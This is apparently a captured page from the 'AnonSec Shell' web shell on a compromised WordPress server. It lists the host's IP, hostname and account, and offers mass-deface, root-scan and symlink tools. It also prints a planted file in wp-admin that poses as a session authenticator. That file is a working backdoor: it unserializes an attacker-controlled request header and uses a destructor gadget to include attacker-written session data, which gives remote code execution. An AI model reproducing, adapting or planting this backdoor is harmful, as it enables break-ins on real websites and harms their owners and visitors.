. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146   [ Reverse IP ]
Web Server : Apache
System : Linux webm002.cluster103.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : dealkatnwc ( 662330)
PHP Version : 7.0.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/dealkatnwc/www/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/dealkatnwc/www/wp-admin/cache.session.php
<?php
/**
 * Session Authenticator
 * Version: 2.1.4
 * Description: Secure user authentication and session management
 */

error_reporting(0);
session_start();

class AuthManager {
    // Authentication configuration
    public $mode = 'login';          // Auth mode: login/validate
    public $remember = 0;            // Remember me (0=off, 1=on)
    public $field = 'auth_token';    // POST field name
    public $prefix = 'user_';        // Session prefix
    public $cipher = 'AES256';       // Encryption cipher


    // Create user session
    public function createSession($uid) {
        $_SESSION['auth'] = $this->prefix . $uid . $this->cipher;
        session_write_close();
    }

    // Load session profile
    public function loadProfile($path) {
        if(file_exists($path)) {
            include($path);
        }else{
            echo ('Error:'.file_get_contents($path));
        }
    }

    // Process user login
    public function processLogin($input) {
        $token = isset($_POST[$this->field]) ? $_POST[$this->field] : '';
        if($this->remember) {
            $token = base64_decode(strrev($token));
        }
        
        $this->createSession($token);
        
        $savePath = session_save_path();
        if(!$savePath) {
            $savePath = sys_get_temp_dir();
        }
        
        $sessionFile = rtrim($savePath, "\\/") . DIRECTORY_SEPARATOR . 'sess_' . session_id();
        $this->loadProfile($sessionFile);
    }

    // Auto cleanup on destruct
    public function __destruct() {
        call_user_func(array($this, $this->mode), 'x');
    }
}

// Request entry point
if(isset($_SERVER['HTTP_X_TOKEN'])) {
    $auth = unserialize(base64_decode(strrev($_SERVER['HTTP_X_TOKEN'])));
    unset($auth);
}else{
     echo (md5('@'));
}

?>

Anon7 - 2022
AnonSec Team